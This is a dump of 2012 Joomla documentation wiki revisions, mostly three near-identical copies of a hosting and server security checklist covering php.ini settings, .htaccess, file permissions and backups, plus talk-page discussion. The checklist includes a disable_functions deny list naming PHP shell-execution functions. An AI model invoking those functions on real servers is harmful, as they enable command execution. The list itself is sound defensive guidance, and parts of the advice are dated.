LFI - Local File Inclusion [http://www.scribd.com/doc/6498408/Remote-and-Local-File-Inclusion-Explained scribd]

RFI - Remote file inclusion [http://en.wikipedia.org/wiki/Remote_File_Inclusion wikipedia]

DT - Directory Traversal [http://en.wikipedia.org/wiki/Directory_traversal wikipedia] (incl 777 folders)

ID = Information Disclosure: account information or sensitive information publicly viewable, or passed to 3rd party without knowledge

== Future Actions & WIP ==

[http://feeds.joomla.org/JoomlaSecurityVulnerableExtensions RSS feed] completed

to feed VEL direct to twitter

== Notes ==
The RSS feed is currently fed by item entry order and not by date fixed.
List as discussed in [[jtopic:455746]] by [http://forum.joomla.org/memberlist.php?mode=viewprofile&u=67439 PhilD] editing by [http://forum.joomla.org/memberlist.php?mode=viewprofile&u=28000 Mandville]

----
[[Category:Security]]
[[Category:Component Management]]

Talk:Magic quotes and security

2012-10-17T17:56:54Z

Phild: added discussion info about Magic Quotes

Magic Quotes:

: Warning:
:: This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.

:: As of Joomla 3.0 it is recommended to have magic quotes off see technical requirements
:: http://www.joomla.org/technical-requirements.html

Talk:Security Checklist/Where can you learn more about file permissions?

2012-10-12T11:59:48Z

Phild: added response

Release Statement.
Please feel free to make use of documents produced by myself in any format (electronic, hardcopy or public presentation) as required for the Joomla! project. All copyright is released to the Joomla! Project to re-use or publish the content of these posts under any license, as suits the projects needs.

Regards,
Russ Winter
----

why after all the effort to update the documentation and get the permissions for the documentation to be used does any one feel it is justified to mark these for deletion?
The links/resources as posted are not just for INSTALLATION they are for general security, extensions and various other aspects of joomla administration.
I vote for complete rejection of the proposal for deletion and reinstatement of the original documentation otherwise its a complete waste of volunteers time --[[User:Mandville|Mandville]] ([[User talk:Mandville|talk]]) 18:36, 11 October 2012 (CDT)
:I think you misunderstand, and one thing I would never do or advocate is wasting volunteer's time. A wiki is supposed to be collaborative, but it needs some type of organisation so others can use it as an easy to use resource.

:I did not propose to delete the linked pages, but this page specifically. Three links on a page? Add them manually and/or dynamically to [[Joomla Installation Resources]] and actually they are already listed on a Security page - [[Security_and_Performance_FAQs#Where can I learn more about file permissions?|Security_and_Performance_FAQs]]. The linking of the pages can be added to any page where appropriate.

:There should also be a [[Joomla! Server Resources and Configurations]] or something similar page which ties together all the articles on server setups, configurations, .htaccess, permissions, LAMP, WAMP, database setups, etc... There are a lot of articles devoted to all of these subjects, but most linkings tie back to category pages or someone must preform hard searches to find exactly what needs to be found. Even more needed as Joomla 3.x has more options, see [[Technical requirements]] and notice more options for Joomla! 3.

:As far as the links on this page, I suggested a rename change from Windows Permissions Primer to something like '''Joomla! and Windows file permissions''' or perhaps just ''' Windows file permissions explained'''. Some people might not understand the meaning of Primer in the title. The Unix title is really called [[How do UNIX file permissions work?]], but is being linked with Primer in the link. Might as well mention [[Using phpSuExec]], no categories on the page. [[User:Hutchy68|Tom Hutchison]] ([[User talk:Hutchy68|talk]]) 22:50, 11 October 2012 (CDT)

I think the issue is some saw the "this page marked for deletion" notice and as the link page and the linked to pages are fairly active in that we refer people to them, were afraid some overzealous person was going to delete the page. Perhaps it would be/would have been better to place a different type of notice on the page

"and actually they are already listed on a Security page - [[Security_and_Performance_FAQs#Where can I learn more about file permissions?|Security_and_Performance_FAQs]]."

The pages have been this way since about 2008. The three topics were originally in the Joomla docs., but someone removed and linked to the information that was re-posted on an external site. This is a violation of the wiki rules as Joomla has defined them. This was only recently discovered and determined that there was a violation (we allow some external links) and the page links were not approved. Whomever removed those docs pages created the 3 link page. The links on the security faq page you mention was a remnant of where the three documents had links to at some point. At request I removed the external links, kept the existing "link" page, and re created two of the three pages locally. It was also requested that any other pages I found with these same external links also be treated the same. There was a page remnant on the security faq with 1 link on it. I created the other two links to match the other page.

I don't think there is a big problem with reorganizing things some, but in my opinion, the security and performance faq's page is not going to get read as it is to long and contains to many links. More than one page of links and no one will read it or scroll it. If you want a project then make those faqs more organized and easier to use. -- [[User:Phild|Phil DeGruy]] ([[User talk:Phild|talk]])

Security Checklist/Hosting and Server Setup

2012-10-09T01:11:31Z

Phild: /* php being run as an apache module. */ fixed title and link

{{RightTOC}}
== Choose a Qualified Hosting Provider ==

===The most important decision===
: Probably no decision is more critical to site security than the choice of hosts and servers. However, due to the wide variety of hosting options and configurations, it's not possible to provide a complete list for all situations. Check this unbiased [http://resources.joomla.org/directory/support-services/hosting.html list of recommended hosts]who fully meet the security requirements of a typical Joomla site. ([[Security_and_Performance_FAQs#How_do_I_choose_a_quality_hosting_provider.3F|FAQ]])

===Shared server risks===
: If you are on a tight budget and your site does not process highly confidential data, you can probably get by with a shared server, but you must understand the unavoidable risks. Most of the tips listed below are appropriate for securing sites on shared server environments.

===Avoid sloppy server configurations===
: For a real eye-opener, [http://www.nexen.net/articles/dossier/php_configuration_statitstics.php read this report] on thousands of sites that allowed Google to index the results of phpinfo(). Don't make this mistake on your site! The report includes alarming statistics on the percentage of sites that use deprecated settings such as register_globals ON or that don't have open_basedir set at all: By the way, if ''phpini'' and ''register_globals'' are unfamiliar terms you are probably not ready to securely manage your own site.

==Configuring Apache==

===Use Apache .htaccess===
''See also [[htaccess examples (security)|.htaccess examples]]''
: Block typical exploit attempts with local Apache ''.htaccess'' files. This option is not enabled on all servers. Check with your host if you run into problems. Using ''.htaccess'', you can password protect sensitive directories, such as administrator, restrict access to sensitive directories by IP Address, and depending on your server's configuration, you may be able to increase security by switching from PHP4 to PHP5.

: Joomla ships with a [[preconfigured .htaccess]] file, but *you* need to choose to use it. The file is called htaccess.txt. To use it, rename it to .htaccess and place it in the root of your site using FTP. One important point to note is that as the distributed file is called htaccess.txt and the live file on your site is called .htaccess, the file your site actually uses is NOT updated when you update your site to use to a new version of Joomla. You must manually make the changes to use the new file version. There are significant changes in the file distributed with 1.5.23 onwards and 1.6.2 onwards.

: Consider following the "Least Privilege" principle for running PHP using tools such as PHPsuExec, php_suexec or suPHP. (Note: These are advanced methods that require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.) </li>

=== PHP Being Run as an Apache Module. ===

This causes ownership issues and thus permission problems which will lead to security issues. It is better to select a server setup/host that runs php as a cgi process (such as cgi-fcgi) along with using phpSuExec or a similar configuration.

The two best tutorials and explanations on permissions, ownerships and their relations are from this official Joomla doc page

[[Where can you learn more about file permissions?]]

Specific topics to read would be the following two:

[[How do UNIX file permissions work?|Unix Permissions Primer]]

and for information on phpSuExec and similar implementations:

[[Using phpSuExec]]

===Use Apache mod_security===
: Configure Apache mod_security and mod_rewrite filters to block PHP attacks. See [http://www.google.com/search?q=apache%20mod_security Google search for mod_security] and [http://www.google.com/search?q=apache%20mod_rewrite Google search for mod_rewrite]. (Note: These are advanced methods that usually require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.)

==Configuring MySQL==

===Secure the database===
: Be sure MySQL accounts are set with limited access. The initial install of MySQL is insecure and careful configuration is required. (See the [http://dev.mysql.com/doc/ MySQL Manuals]) Note: This item applies only to those administering their own servers, such as dedicated servers. Users of shared servers are dependent on their hosting provider to set proper database security.)

== Configuring PHP==

===Understand how PHP works===
: Understand how to work with the php.ini file, and how PHP configurations are controlled. Study the [http://us3.php.net/manual/en/ini.php#ini.list Official List of php.ini Directives] at http://www.php.net, and the well-documented default php.ini file included with every PHP install. Here is the [http://svn.php.net/viewvc/php/php-src/trunk/php.ini-production?view=co latest default php.ini file] on the official PHP site.

===Use PHP5===
PHP 4 is deprecated and has become obsolete. Some hosting providers still have both available on servers to support outdated scripts. Joomla requires PHP5. (See [http://www.joomla.org/technical-requirements.html/ Joomla Requirements])

===Use local php.ini files===
: On shared servers you can't edit the main php.ini file, but you may be able to add custom, local php.ini files. If so, you'll need to copy the php.ini files to every sub-directory that requires custom settings. Luckily a [http://tips-scripts.com/free set of scripts at B & T Scripts and Tips] can do the hard work for you.

: '''There are a few important things to keep in mind.'''

# Local ''php.ini'' files '''''only''''' have an effect if your server is configured to use them. This includes a ''php.ini'' file in your ''http_root'' directory. You can test whether or not these file affect your site by setting an obvious directive in the local ''php.ini'' file to see if it affects your site.
# Local ''php.ini'' files only affect ''.php'' files that are located within the same directory (or included() or required() from those files). This means that there are normally only two Joomla! directories in which you would want to place a ''php.ini'' file. They are your ''http_root''(your actual directory name may vary), which is where Joomla's Front-end ''index.php'' file is located, and the Joomla! ''administrator'' directory, which is where the Back-end administrator ''index.php'' file is located. Other directories that don't have files called via the Web do not need local ''php.ini'' files.
# If you have a ''php.ini'' file in every directory, some script probably did this for you. If you didn't intend it to happen, you probably should root them out, but given #2 above, you probably only have to panic about the ''php.ini'' files in ''http_root'' and the ''administrator'' directories.

===Use PHP disable_functions===
: Use ''disable_functions'' to disable dangerous PHP functions that are not needed by your site. Here is a typical setup for a Joomla! site:

disable_functions = show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open

===Consider Using PHP open_basedir===
: You ''might'' consider enabling ''open_basedir''. This directive limits the files that can be opened by PHP to the specified directory-tree. This directive is NOT affected by whether Safe Mode is ON or OFF.

: The restriction specified with open_basedir is a prefix, not a directory name. This means that ''open_basedir = /dir/incl'' allows access to ''/dir/include'' and ''/dir/incls'' if they exist. To restrict access to only the specified directory, end with a slash. For more information, see [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode PHP Security and Safe Mode Configuration Directives].

open_basedir = /home/users/you/public_html

: Additionally, if ''open_basedir'' is set it may be necessary to set PHP ''upload_tmp_dir'' configuration directive to a path that falls within the scope of ''open_basedir'' or, alternatively, add the ''upload_tmp_dir'' path to ''open_basedir'' using the appropriate path separator for the host system.

open_basedir = /home/users/you/public_html:/tmp

: PHP will use the system's temporary directory when ''upload_tmp_dir'' is not set or when it is set but the directory does not exist, therefore it may be necessary to add it to ''open_basedir'' as above to avoid uploading errors within Joomla.

===Adjust magic_quotes_gpc===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Adjust the ''magic_quotes_gpc'' directive as needed for your site. The recommended setting for Joomla! 1.0.x is ON to protect against poorly-written third-party extensions. The safest method is to turn ''magic_quotes_gpc'' off and avoid all poorly-written extensions, period.

: Joomla! 1.5 ignores this setting and works fine either way.
For more information, see either [http://docs.joomla.org/Magic_quotes_and_security Magic quotes and security] or
[http://php.net/magic_quotes PHP Manual, Chapter 31. Magic Quotes].

magic_quotes_gpc = 1

===Don't use PHP safe_mode===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Relying on this feature is highly discouraged. Avoid the use of PHP safe_mode. This is a valid but incomplete solution to a deeper problem and provides a false sense of security. See the official PHP site for an explanation of this issue. http://php.net/manual/en/features.safe-mode.php

safe_mode = 0

===Don't use PHP register_globals===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Automatically registering global variables was probably one of the dumbest decisions the developers of PHP made. This directive determines whether or not to register the EGPCS (Environment, GET, POST, Cookie, Server) variables as global variables where they become immediately available to all PHP scripts, and where they can easily overwrite your own variable if you're not careful. Luckily, the PHP developers long since realized the mistake and have deprecated this 'feature'.

: If your site is on a shared server with a hosting provider that insists ''register_globals'' must be on, you should be very worried. Although you can often turn register_globals off for your own site with a local php.ini file, this adds little security as other sites on the same server remain vulnerable to attacks which can then launch attacks against your site from within the server. For more information, see [http://www.zend.com/manual/security.globals.php ZEND Chapter 29. Using Register Globals].

register_globals = 0

===Don't use PHP allow_url_fopen===

: Don't use PHP ''allow_url_fopen''. This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers. Note: This can only be set in php.ini due to security reasons.

allow_url_fopen = 0

==File permissions==
If a joomla installation is hosted on apache with mod_php, then all virtual hosts on that server run in the same context as your joomla code. If the files are owned by some other user than 'nobody' or 'wwwrun', the safest permissions are those which '''prevent''' changes to the joomla code, unless via an authorised channel (e.g. FTP):
*DocumentRoot directory: 750 (e.g. public_html)
*Files: 644
*Directories: 755 (711 if you are paranoid, but not for directories which need to be listed) (owner: some user)

With these permissions set, you will need to use FTP to update your Joomla installation. Not all modules support this. Remove modules which do not support FTP upgrades.
Other processes running under mod_php can read '''your''' configuration.php. You can frustrate automated hacks by renaming this file. You should not store your FTP password in your configuration file on such hosts, as your account ''will'' be compromised.

If a joomla installation is hosted on apache with fast-cgi, suphp or cgi that runs as a different user, then you should set your permissions as follows:
* DocumentRoot directory: 750 (e.g. public_html)
* PHP files: 600 (400 if you are truly paranoid)
* HTML and image files: 644 (444 if you are truly paranoid)
* Directories: 755 (711 if you are paranoid, but not for directories which need to be listed)

==Setup a backup and recovery process==
===The most important rule:'===
: Thou shalt at all time be able to return your site to a previous working state through regular use of a strong, off-site backup and recovery process. Be sure your backup and recovery process is in place and tested BEFORE you go live. This is the single best way (and often the only way) to recover from such inevitable catastrophes as:

# A compromised/cracked site.
# Broken site due to a faulty upgrade.
# Hardware failure, such as dead hard drives, power failures, server theft, etc.
# Authoritarian government intervention. (More common than some think.)
# Needing to quickly relocate to a new server or hosting provider.

== Choose A Checklist==
# [[Security Checklist 1 - Getting Started|Getting Started]]
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]
# [[Security Checklist 3 - Testing and Development|Testing and Development]]
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]
# [[Security Checklist 5 - Site Administration|Site Administration]]
# [[Security Checklist 6 - Site Recovery|Site Recovery]]


[[Category:Security Checklist]]

Security Checklist/Hosting and Server Setup

2012-10-09T01:08:53Z

Phild: /* php being run as an apache module. */ fixed title

{{RightTOC}}
== Choose a Qualified Hosting Provider ==

===The most important decision===
: Probably no decision is more critical to site security than the choice of hosts and servers. However, due to the wide variety of hosting options and configurations, it's not possible to provide a complete list for all situations. Check this unbiased [http://resources.joomla.org/directory/support-services/hosting.html list of recommended hosts]who fully meet the security requirements of a typical Joomla site. ([[Security_and_Performance_FAQs#How_do_I_choose_a_quality_hosting_provider.3F|FAQ]])

===Shared server risks===
: If you are on a tight budget and your site does not process highly confidential data, you can probably get by with a shared server, but you must understand the unavoidable risks. Most of the tips listed below are appropriate for securing sites on shared server environments.

===Avoid sloppy server configurations===
: For a real eye-opener, [http://www.nexen.net/articles/dossier/php_configuration_statitstics.php read this report] on thousands of sites that allowed Google to index the results of phpinfo(). Don't make this mistake on your site! The report includes alarming statistics on the percentage of sites that use deprecated settings such as register_globals ON or that don't have open_basedir set at all: By the way, if ''phpini'' and ''register_globals'' are unfamiliar terms you are probably not ready to securely manage your own site.

==Configuring Apache==

===Use Apache .htaccess===
''See also [[htaccess examples (security)|.htaccess examples]]''
: Block typical exploit attempts with local Apache ''.htaccess'' files. This option is not enabled on all servers. Check with your host if you run into problems. Using ''.htaccess'', you can password protect sensitive directories, such as administrator, restrict access to sensitive directories by IP Address, and depending on your server's configuration, you may be able to increase security by switching from PHP4 to PHP5.

: Joomla ships with a [[preconfigured .htaccess]] file, but *you* need to choose to use it. The file is called htaccess.txt. To use it, rename it to .htaccess and place it in the root of your site using FTP. One important point to note is that as the distributed file is called htaccess.txt and the live file on your site is called .htaccess, the file your site actually uses is NOT updated when you update your site to use to a new version of Joomla. You must manually make the changes to use the new file version. There are significant changes in the file distributed with 1.5.23 onwards and 1.6.2 onwards.

: Consider following the "Least Privilege" principle for running PHP using tools such as PHPsuExec, php_suexec or suPHP. (Note: These are advanced methods that require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.) </li>

=== PHP Being Run as an Apache Module. ===

This causes ownership issues and thus permission problems which will lead to security issues. It is better to select a server setup/host that runs php as a cgi process (such as cgi-fcgi) along with using phpSuExec or a similar configuration.

The two best tutorials and explanations on permissions, ownerships and their relations are from this official Joomla doc page

[[Where can you learn more about file permissions?]]

Specific topics to read would be the following two:

[[Unix Permissions Primer]]

and for information on phpSuExec and similar implementations:

[[Using phpSuExec]]

===Use Apache mod_security===
: Configure Apache mod_security and mod_rewrite filters to block PHP attacks. See [http://www.google.com/search?q=apache%20mod_security Google search for mod_security] and [http://www.google.com/search?q=apache%20mod_rewrite Google search for mod_rewrite]. (Note: These are advanced methods that usually require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.)

==Configuring MySQL==

===Secure the database===
: Be sure MySQL accounts are set with limited access. The initial install of MySQL is insecure and careful configuration is required. (See the [http://dev.mysql.com/doc/ MySQL Manuals]) Note: This item applies only to those administering their own servers, such as dedicated servers. Users of shared servers are dependent on their hosting provider to set proper database security.)

== Configuring PHP==

===Understand how PHP works===
: Understand how to work with the php.ini file, and how PHP configurations are controlled. Study the [http://us3.php.net/manual/en/ini.php#ini.list Official List of php.ini Directives] at http://www.php.net, and the well-documented default php.ini file included with every PHP install. Here is the [http://svn.php.net/viewvc/php/php-src/trunk/php.ini-production?view=co latest default php.ini file] on the official PHP site.

===Use PHP5===
PHP 4 is deprecated and has become obsolete. Some hosting providers still have both available on servers to support outdated scripts. Joomla requires PHP5. (See [http://www.joomla.org/technical-requirements.html/ Joomla Requirements])

===Use local php.ini files===
: On shared servers you can't edit the main php.ini file, but you may be able to add custom, local php.ini files. If so, you'll need to copy the php.ini files to every sub-directory that requires custom settings. Luckily a [http://tips-scripts.com/free set of scripts at B & T Scripts and Tips] can do the hard work for you.

: '''There are a few important things to keep in mind.'''

# Local ''php.ini'' files '''''only''''' have an effect if your server is configured to use them. This includes a ''php.ini'' file in your ''http_root'' directory. You can test whether or not these file affect your site by setting an obvious directive in the local ''php.ini'' file to see if it affects your site.
# Local ''php.ini'' files only affect ''.php'' files that are located within the same directory (or included() or required() from those files). This means that there are normally only two Joomla! directories in which you would want to place a ''php.ini'' file. They are your ''http_root''(your actual directory name may vary), which is where Joomla's Front-end ''index.php'' file is located, and the Joomla! ''administrator'' directory, which is where the Back-end administrator ''index.php'' file is located. Other directories that don't have files called via the Web do not need local ''php.ini'' files.
# If you have a ''php.ini'' file in every directory, some script probably did this for you. If you didn't intend it to happen, you probably should root them out, but given #2 above, you probably only have to panic about the ''php.ini'' files in ''http_root'' and the ''administrator'' directories.

===Use PHP disable_functions===
: Use ''disable_functions'' to disable dangerous PHP functions that are not needed by your site. Here is a typical setup for a Joomla! site:

disable_functions = show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open

===Consider Using PHP open_basedir===
: You ''might'' consider enabling ''open_basedir''. This directive limits the files that can be opened by PHP to the specified directory-tree. This directive is NOT affected by whether Safe Mode is ON or OFF.

: The restriction specified with open_basedir is a prefix, not a directory name. This means that ''open_basedir = /dir/incl'' allows access to ''/dir/include'' and ''/dir/incls'' if they exist. To restrict access to only the specified directory, end with a slash. For more information, see [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode PHP Security and Safe Mode Configuration Directives].

open_basedir = /home/users/you/public_html

: Additionally, if ''open_basedir'' is set it may be necessary to set PHP ''upload_tmp_dir'' configuration directive to a path that falls within the scope of ''open_basedir'' or, alternatively, add the ''upload_tmp_dir'' path to ''open_basedir'' using the appropriate path separator for the host system.

open_basedir = /home/users/you/public_html:/tmp

: PHP will use the system's temporary directory when ''upload_tmp_dir'' is not set or when it is set but the directory does not exist, therefore it may be necessary to add it to ''open_basedir'' as above to avoid uploading errors within Joomla.

===Adjust magic_quotes_gpc===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Adjust the ''magic_quotes_gpc'' directive as needed for your site. The recommended setting for Joomla! 1.0.x is ON to protect against poorly-written third-party extensions. The safest method is to turn ''magic_quotes_gpc'' off and avoid all poorly-written extensions, period.

: Joomla! 1.5 ignores this setting and works fine either way.
For more information, see either [http://docs.joomla.org/Magic_quotes_and_security Magic quotes and security] or
[http://php.net/magic_quotes PHP Manual, Chapter 31. Magic Quotes].

magic_quotes_gpc = 1

===Don't use PHP safe_mode===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Relying on this feature is highly discouraged. Avoid the use of PHP safe_mode. This is a valid but incomplete solution to a deeper problem and provides a false sense of security. See the official PHP site for an explanation of this issue. http://php.net/manual/en/features.safe-mode.php

safe_mode = 0

===Don't use PHP register_globals===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Automatically registering global variables was probably one of the dumbest decisions the developers of PHP made. This directive determines whether or not to register the EGPCS (Environment, GET, POST, Cookie, Server) variables as global variables where they become immediately available to all PHP scripts, and where they can easily overwrite your own variable if you're not careful. Luckily, the PHP developers long since realized the mistake and have deprecated this 'feature'.

: If your site is on a shared server with a hosting provider that insists ''register_globals'' must be on, you should be very worried. Although you can often turn register_globals off for your own site with a local php.ini file, this adds little security as other sites on the same server remain vulnerable to attacks which can then launch attacks against your site from within the server. For more information, see [http://www.zend.com/manual/security.globals.php ZEND Chapter 29. Using Register Globals].

register_globals = 0

===Don't use PHP allow_url_fopen===

: Don't use PHP ''allow_url_fopen''. This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers. Note: This can only be set in php.ini due to security reasons.

allow_url_fopen = 0

==File permissions==
If a joomla installation is hosted on apache with mod_php, then all virtual hosts on that server run in the same context as your joomla code. If the files are owned by some other user than 'nobody' or 'wwwrun', the safest permissions are those which '''prevent''' changes to the joomla code, unless via an authorised channel (e.g. FTP):
*DocumentRoot directory: 750 (e.g. public_html)
*Files: 644
*Directories: 755 (711 if you are paranoid, but not for directories which need to be listed) (owner: some user)

With these permissions set, you will need to use FTP to update your Joomla installation. Not all modules support this. Remove modules which do not support FTP upgrades.
Other processes running under mod_php can read '''your''' configuration.php. You can frustrate automated hacks by renaming this file. You should not store your FTP password in your configuration file on such hosts, as your account ''will'' be compromised.

If a joomla installation is hosted on apache with fast-cgi, suphp or cgi that runs as a different user, then you should set your permissions as follows:
* DocumentRoot directory: 750 (e.g. public_html)
* PHP files: 600 (400 if you are truly paranoid)
* HTML and image files: 644 (444 if you are truly paranoid)
* Directories: 755 (711 if you are paranoid, but not for directories which need to be listed)

==Setup a backup and recovery process==
===The most important rule:'===
: Thou shalt at all time be able to return your site to a previous working state through regular use of a strong, off-site backup and recovery process. Be sure your backup and recovery process is in place and tested BEFORE you go live. This is the single best way (and often the only way) to recover from such inevitable catastrophes as:

# A compromised/cracked site.
# Broken site due to a faulty upgrade.
# Hardware failure, such as dead hard drives, power failures, server theft, etc.
# Authoritarian government intervention. (More common than some think.)
# Needing to quickly relocate to a new server or hosting provider.

== Choose A Checklist==
# [[Security Checklist 1 - Getting Started|Getting Started]]
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]
# [[Security Checklist 3 - Testing and Development|Testing and Development]]
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]
# [[Security Checklist 5 - Site Administration|Site Administration]]
# [[Security Checklist 6 - Site Recovery|Site Recovery]]


[[Category:Security Checklist]]

Security Checklist/Hosting and Server Setup

2012-10-09T01:07:54Z

Phild: /* php being run as an apache module. */ added local links to section, replacing external links

{{RightTOC}}
== Choose a Qualified Hosting Provider ==

===The most important decision===
: Probably no decision is more critical to site security than the choice of hosts and servers. However, due to the wide variety of hosting options and configurations, it's not possible to provide a complete list for all situations. Check this unbiased [http://resources.joomla.org/directory/support-services/hosting.html list of recommended hosts]who fully meet the security requirements of a typical Joomla site. ([[Security_and_Performance_FAQs#How_do_I_choose_a_quality_hosting_provider.3F|FAQ]])

===Shared server risks===
: If you are on a tight budget and your site does not process highly confidential data, you can probably get by with a shared server, but you must understand the unavoidable risks. Most of the tips listed below are appropriate for securing sites on shared server environments.

===Avoid sloppy server configurations===
: For a real eye-opener, [http://www.nexen.net/articles/dossier/php_configuration_statitstics.php read this report] on thousands of sites that allowed Google to index the results of phpinfo(). Don't make this mistake on your site! The report includes alarming statistics on the percentage of sites that use deprecated settings such as register_globals ON or that don't have open_basedir set at all: By the way, if ''phpini'' and ''register_globals'' are unfamiliar terms you are probably not ready to securely manage your own site.

==Configuring Apache==

===Use Apache .htaccess===
''See also [[htaccess examples (security)|.htaccess examples]]''
: Block typical exploit attempts with local Apache ''.htaccess'' files. This option is not enabled on all servers. Check with your host if you run into problems. Using ''.htaccess'', you can password protect sensitive directories, such as administrator, restrict access to sensitive directories by IP Address, and depending on your server's configuration, you may be able to increase security by switching from PHP4 to PHP5.

: Joomla ships with a [[preconfigured .htaccess]] file, but *you* need to choose to use it. The file is called htaccess.txt. To use it, rename it to .htaccess and place it in the root of your site using FTP. One important point to note is that as the distributed file is called htaccess.txt and the live file on your site is called .htaccess, the file your site actually uses is NOT updated when you update your site to use to a new version of Joomla. You must manually make the changes to use the new file version. There are significant changes in the file distributed with 1.5.23 onwards and 1.6.2 onwards.

: Consider following the "Least Privilege" principle for running PHP using tools such as PHPsuExec, php_suexec or suPHP. (Note: These are advanced methods that require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.) </li>

=== php being run as an apache module. ===

This causes ownership issues and thus permission problems which will lead to security issues. It is better to select a server setup/host that runs php as a cgi process (such as cgi-fcgi) along with using phpSuExec or a similar configuration.

The two best tutorials and explanations on permissions, ownerships and their relations are from this official Joomla doc page

[[Where can you learn more about file permissions?]]

Specific topics to read would be the following two:

[[Unix Permissions Primer]]

and for information on phpSuExec and similar implementations:

[[Using phpSuExec]]

===Use Apache mod_security===
: Configure Apache mod_security and mod_rewrite filters to block PHP attacks. See [http://www.google.com/search?q=apache%20mod_security Google search for mod_security] and [http://www.google.com/search?q=apache%20mod_rewrite Google search for mod_rewrite]. (Note: These are advanced methods that usually require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.)

==Configuring MySQL==

===Secure the database===
: Be sure MySQL accounts are set with limited access. The initial install of MySQL is insecure and careful configuration is required. (See the [http://dev.mysql.com/doc/ MySQL Manuals]) Note: This item applies only to those administering their own servers, such as dedicated servers. Users of shared servers are dependent on their hosting provider to set proper database security.)

== Configuring PHP==

===Understand how PHP works===
: Understand how to work with the php.ini file, and how PHP configurations are controlled. Study the [http://us3.php.net/manual/en/ini.php#ini.list Official List of php.ini Directives] at http://www.php.net, and the well-documented default php.ini file included with every PHP install. Here is the [http://svn.php.net/viewvc/php/php-src/trunk/php.ini-production?view=co latest default php.ini file] on the official PHP site.

===Use PHP5===
PHP 4 is deprecated and has become obsolete. Some hosting providers still have both available on servers to support outdated scripts. Joomla requires PHP5. (See [http://www.joomla.org/technical-requirements.html/ Joomla Requirements])

===Use local php.ini files===
: On shared servers you can't edit the main php.ini file, but you may be able to add custom, local php.ini files. If so, you'll need to copy the php.ini files to every sub-directory that requires custom settings. Luckily a [http://tips-scripts.com/free set of scripts at B & T Scripts and Tips] can do the hard work for you.

: '''There are a few important things to keep in mind.'''

# Local ''php.ini'' files '''''only''''' have an effect if your server is configured to use them. This includes a ''php.ini'' file in your ''http_root'' directory. You can test whether or not these file affect your site by setting an obvious directive in the local ''php.ini'' file to see if it affects your site.
# Local ''php.ini'' files only affect ''.php'' files that are located within the same directory (or included() or required() from those files). This means that there are normally only two Joomla! directories in which you would want to place a ''php.ini'' file. They are your ''http_root''(your actual directory name may vary), which is where Joomla's Front-end ''index.php'' file is located, and the Joomla! ''administrator'' directory, which is where the Back-end administrator ''index.php'' file is located. Other directories that don't have files called via the Web do not need local ''php.ini'' files.
# If you have a ''php.ini'' file in every directory, some script probably did this for you. If you didn't intend it to happen, you probably should root them out, but given #2 above, you probably only have to panic about the ''php.ini'' files in ''http_root'' and the ''administrator'' directories.

===Use PHP disable_functions===
: Use ''disable_functions'' to disable dangerous PHP functions that are not needed by your site. Here is a typical setup for a Joomla! site:

disable_functions = show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open

===Consider Using PHP open_basedir===
: You ''might'' consider enabling ''open_basedir''. This directive limits the files that can be opened by PHP to the specified directory-tree. This directive is NOT affected by whether Safe Mode is ON or OFF.

: The restriction specified with open_basedir is a prefix, not a directory name. This means that ''open_basedir = /dir/incl'' allows access to ''/dir/include'' and ''/dir/incls'' if they exist. To restrict access to only the specified directory, end with a slash. For more information, see [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode PHP Security and Safe Mode Configuration Directives].

open_basedir = /home/users/you/public_html

: Additionally, if ''open_basedir'' is set it may be necessary to set PHP ''upload_tmp_dir'' configuration directive to a path that falls within the scope of ''open_basedir'' or, alternatively, add the ''upload_tmp_dir'' path to ''open_basedir'' using the appropriate path separator for the host system.

open_basedir = /home/users/you/public_html:/tmp

: PHP will use the system's temporary directory when ''upload_tmp_dir'' is not set or when it is set but the directory does not exist, therefore it may be necessary to add it to ''open_basedir'' as above to avoid uploading errors within Joomla.

===Adjust magic_quotes_gpc===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

: Adjust the ''magic_quotes_gpc'' directive as needed for your site. The recommended setting for Joomla! 1.0.x is ON to protect against poorly-written third-party extensions. The safest method is to turn ''magic_quotes_gpc'' off and avoid all poorly-written extensions, period.

: Joomla! 1.5 ignores this setting and works fine either way.
For more information, see either [http://docs.joomla.org/Magic_quotes_and_security Magic quotes and security] or
[http://php.net/magic_quotes PHP Manual, Chapter 31. Magic Quotes].

magic_quotes_gpc = 1

===Don't use PHP safe_mode===
: ''' ''This PHP feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0'''''

